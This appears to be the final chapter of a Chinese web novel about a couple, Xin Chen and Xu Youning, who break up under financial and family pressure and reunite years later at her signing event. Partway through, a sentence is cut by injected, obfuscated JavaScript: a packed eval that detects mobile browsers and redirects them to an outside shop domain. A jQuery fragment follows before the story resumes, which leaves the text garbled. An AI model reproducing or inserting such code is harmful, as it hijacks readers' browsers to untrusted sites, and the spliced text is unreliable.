工作后，辛晨的分享欲似乎在慢慢消退。
他没法将其归咎于繁忙的工作，抑或是成熟的必然，但事实就是，他们的交流逐渐变得简洁而短暂。
有时，他看着不到两分钟的通话时间，不由得想，爱会流逝褪色吗？
可一旦和徐又宁见面，他仍有着强烈的，和她亲吻、拥抱，或是静静地待着的欲望。
他认为那也是爱的具体表现。
大概是他太累了吧。
长时间维系一段关系，日复一日完成高强度工作任务，应付生活里的各种突发状况，都在蚕食着他的意志。
徐又宁还在上学，她没法对职场压力感同身受，但不知何时起，她的棱角也被慢慢磨平，她开始学着照顾他，像一个普通家庭里的妻子那样。
妻子。
关于这个词，他所有的联想，都是徐又宁。
和许多满怀抱负，踌躇满志，想要在事业上大展拳脚的男人不同，对辛晨而言，理想再怎么伟大，最终也只落于“一屋两人三餐四季”的微小日常。
他是个俗人，他经常想象婚后的日子。
不需要像文学作品里跌宕起伏、波澜壮阔的情节，他所求不过是安居乐业、琴瑟和鸣。
他一直戴着那枚情侣戒指，和右边的耳钉，仿佛它们是他靠岸的船锚。
而徐又宁则是指引他归航的灯塔。
他在北京没有房子，只租着一间小小卧室，却因为她在，他总觉得他在这座常住人口超两千一百万的庞大城市，是有一隅之地，是能称作家的。
辛晨规划着每一分每一厘薪水，房租水电、通勤、餐饮……执行严格得几乎苛刻。
他先出社会，又是男人，理应由他为他们日后的生活做计划。从小到大，身边长辈的实际行动教他的就是这样的。
然而，他的船只一年到头，大部分时间都在离岸航行。
他得适应海上的风浪，得不停地捕捞渔获，久而久之，双脚再踏上陆地时，他竟感到无所适从。
上学时，他们再忙都要挤出时间煲电话粥，话题像蒲公英，风一吹，漫山遍野，煲到手机发烫，宿舍熄灯，不得不挂断。
现在呢，他们默契地删繁就简，一天的聊天记录，一版就能装下。
徐又宁或许察觉到了他的疲惫，时不时乘一个多小时的地铁来他的出租屋，给他做饭，等他回家。
她不嫌麻烦，不嫌累吗？
只是，恋爱双方关系通常不像天平，两边放上同等重量的砝码，就能达到平衡。
为了维系彼此的感情，她不得不这么做。
据说，生命是一场减法，见一面少一面。
而节日的礼物，微信的问候，都抵不过见面。
以前是他去找她，现在换她来见他。
卧室很小，床睡两个人也嫌拥挤，辛晨总喜欢把身体和她紧紧挨着，仿佛畏寒的人，靠近火堆。
实际上，她体温比他低，不知是男女体质差异，还是因截肢伤了底子。
北京干燥，她刚来的那个冬天，流过几次鼻血，有一次是在他床上。
他拆下床单，抱去洗手间清洗，被小陈撞见，他一脸暧昧地说：“晨哥，火力很猛啊。”
辛晨朝他溅水，“瞎说八道什么呢。”
小陈扒着门框，小声说：“嫂子每次过来，都忙里忙外好半天。刘叔他们基本不在家吃饭，我又不会做，但冰箱总是塞得满满当当，我一开始还以为是你买的呢。
“今天在楼下碰到嫂子，她一个人提着两大袋东西，天气这么冷，她腿又……欸，嫂子真的是个好女孩儿。”
他顿了下，“我知道。”
洗完晾好，回到房间，她侧着身子，闭着眼，像是睡着了，鼻孔里还滑稽地塞着两团纸。
辛晨用手冰她脸，她冻得一激灵，直接清醒，伸手打他，“辛晨，你要死啊。”
他扑上去压住她，小鸡啄米般地亲她，“徐又宁。”
她被亲得声音含糊：“嗯？”
“徐又宁。”
“干吗啊你？”
他还是只重复地叫她名字。
她多聪明啊，什么都懂了，伸出双手，环绕他的肩，在他颈后交叠，望进他的眼里。
“会好的，”她说，“辛晨，我们会越来越好的。”
辛晨深深地吻住她，世上最精密的语言文字，也抵不过她就在他面前，他眼底。
人越是在艰难的时候，越会告诉自己，一切都会好起来的。
可像她说的，他们登上了山顶，未来却还有一座接一座的山峰。
后来，徐阿姨的病复发了。
徐又宁自尊心强，徐阿姨又把她保护得太好，二十多年来，她从未低声下气地求过人。
这是第一次，她为了钱，降低姿态。
对于有些人来说，三十万，可能是一只限量款包包，如范天瑜；可能是一个月的流水，如赵阿姨刘叔；也可能，仅仅是博一个渺茫的生的机会，如徐又宁。
但她身边能借的，也就是夏天心，或是同门、老师之类，林林总总，也就借到几万。
她偏又不愿动用他的人际关系，把他牵扯得太深，最后，竟想到詹正德。
辛晨不忍心见她折腰至此，打电话给母亲。
母亲把他骂了一顿：“你是不是傻？！要是能把宁宁她妈治好，还有的说头，可她救不过来了！你这就是拿去打水漂啊！”
“但我不能看着宁宁……”
“辛晨，要是你自己赚的钱，你爱干吗干吗，我们没资格管，但那是我们辛辛苦苦攒了小半辈子给你结婚的钱，你想都别想。”
母亲愤怒地挂了电话。
辛晨无力地靠着医院楼道的墙，肩膀沉甸甸的，压得他快站不起身了。
他自信地以为，自己能够靠双手，撑起徐又宁的一片天，可在苦难面前，他根本没有还手之力。
他心里浮起一种不好的预感，像有只无形的手攥住他的心脏，让他快喘不过气来。
很多年前，他不清楚爱情是什么，这些年，他们捱过了思念，捱过了猜疑，他以为，爱是坚持。
但对徐又宁来说，爱是放弃。
她早就看出，他坚持得很辛苦，她觉得，她耽误了他拥有更好的人生。
辛晨也动摇了。
他不想和她分开，但他真的不知道，他还有没有力气去挽救被现实打击得摇摇欲坠的爱情。
那天下着雨。
他想起南方拖沓的雨季，真是厌烦极了。
雨连日地下，黏黏糊糊的，潮湿像水蛭，附在人的皮肤上，甩也甩不掉。不知道什么时候结束，或许根本不会结束，暂停没多久，又迎来新一轮的雨季。
徐又宁的人生也好似一直停留在雨季里，他该怎么把她那双被雨淋湿的眼睛擦干？
下雨天的北京不好打车，辛晨走到地铁站，反正也淋湿了，干脆让雨把他浇透。
一路上，所有人都对他侧目。
脚下积了一小滩水，他看见玻璃上倒映的自己，双目赤红，失魂落魄。
但他没有精力维持体面，就这样回了家。
赵阿姨刘叔小陈他们离开后，又接连搬来几波租客，还没相处熟络，便又搬走了。
一个男生坐在桌边吃麻辣烫，是徐又宁很喜欢的那家的外卖。
不知为何，辛辣的香气，冲得他有点反胃。
辛晨说：“下次别点这家了。”
话罢，进了房间。
将男生嘀咕的那句“神经病啊……”挡在门外。
星期一，辛晨照常上班。
晚上八点，道路仍拥堵不堪，他下意识地打开手机，想跟徐又宁说，他今天又加班了，还没到家。
点开聊天框，最后的消息还停留在前天。
他说：我快下班了，等下来医院。
她说：好，路上小心。
辛晨慢半拍地反应过来，哦，他们分手了，他没必要和她报备。
大脑像死机的电脑，此时此刻，痛苦才终于加载出来。
他额头抵着前座的靠背，把哽咽和眼泪掩在掌心下。
不知过了多久，公交车司机走过来，拍拍他的肩，提醒他：“小伙子，到终点站了。”
辛晨不记得那天他怎么回去的了，但当他看到屋子里，属于徐又宁的东西，他精神忽然一振。
还有一次机会，他可以光明正大地去找她。
短短几天，她好像消瘦了不少。
他猜，她估计又没好好吃饭，一忙起来，她就随便应付几口。
他贪婪地注视她，无论这是不是最后一面，他都当作是，他想把她的模
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554085|202302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
样牢记在脑海，以便未来的夜晚，能够和她在梦中相会。
后来她们母女俩离开北京了。
辛晨不知道她们新租的房子在哪儿，问夏天心。
她说：“我很想帮你，但我答应过徐又宁，不告诉你她任何消息。”
但他还是去了。
他先去了趟学校。
教学楼粉刷一新，校服也改了样式，附近的书店和报刊亭大多关了，原本的店面做起小吃生意。
他又去电玩城，那里也改造了，当年的机器早已落伍，被淘汰了。
他没有见到徐又宁，回了北京。
除夕那晚，父母在看春晚，他低着头，编辑文字——
【新年快乐啊，你最近过得好吗？】
他想用轻松一点的口吻，像是普通的老友叙旧。
可消息最终还是没能发出去，而是变成了朋友圈文案。
他相信，她看得到，也看得懂。
其实，他们也不是毫无联系。
她给他转过几次钱，说是还他的。他问她，是不是找到工作了，她说是。
次年，钱还清了，他们之间最后一根纽带也断了。
从去年过年开始，家里一直给辛晨安排相亲，拒绝多了，实在拗不过，只好答应见一面。
可能，他也抱着实验“遗忘一段感情最好的办法，是开启新的感情”的想法。
事实证明，这个方法并不适用于他，或者说当下的他。
如果是因为时间不够长的话，那他就等。
日子一天天过去，他升职，加薪，换房子，又跳槽，薪资涨了几级，他从五环外，搬进东三环的公寓。
范天瑜和她那个拍鸟爱好者男朋友分手，找了新的，结了婚，还请他去参加婚礼。
浩子的二胎都会满地跑了，去吃满月酒时，没少人明里暗里地催他，他只笑笑，装傻充愣。
夏天心倒是一直单着，后来，她打算出国留学，叫他吃过一顿饭。
她问他：“咋样？还走不出来？”
辛晨摇头。
夏天心递给他一张邀请函，“那天我要办出国手续，你去吧。”
这几年，他一直默默关注着徐又宁的社交账号，看着她的粉丝一路涨上来。
也知道她出版了两本个人画集，下个月将在天津办签售会，一票难求，被黄牛炒到了天价。
她的确像他当年说的那样，变成了一名大画家。
但他没接。
他说：“算了吧，既然我们分开后各自变得越来越好，我还是不去打扰她了。”
“真的变好了吗？”夏天心反问，“那你们俩感情上为什么还停留在原地？”
她按着邀请函，往他的方向推了推，“我不是帮你，只是作为朋友，我希望她开心。”
北京到天津的车次多得像公交车一样密集，辛晨却在车站待了很久，迟迟没买票。
他早已没了十几岁的心气，爱白白蹉跎至今，被遗憾淬炼，变成了执念。
徐又宁大概也是。
岁月大浪淘沙，谁知道过往那点感情还剩下多少，又能支撑迈过而立之年的他们走多远？
辛晨没想到，自己到了这个年纪，反倒更畏首畏尾了。
签售会开始半个小时前，他还是坐上了开往去天津的列车。
到达会馆，已是人山人海。
辛晨拿的是特约邀请函，无须和普通粉丝一起排队，工作人员领着他往里走。
他看到她坐在长桌后，戴着口罩，埋头签名，时而抬起头，回答粉丝的话。
他脑海中浮现出十几年前的一幕——
花瓣被雨水打落的季节，她撑着脸，失神地望着窗外。片刻，在绘本上画起来。
又闪过一帧。
“你每天都在本子上画什么？”
“乱画。”
“有我吗？”
“你脸都不要了，谁还画你。”
辛晨骤然止步，叫住工作人员，指指海报上那本名为《昨夜风》的画册，问她：“你知道是什么意思吗？”
女生莫名，摇摇头。
他也没解释，重新望向台上。
徐又宁的目光恰好扫到他所在的位置，手里还握着笔，就那么定住了。
辛晨笑了。
—全文完—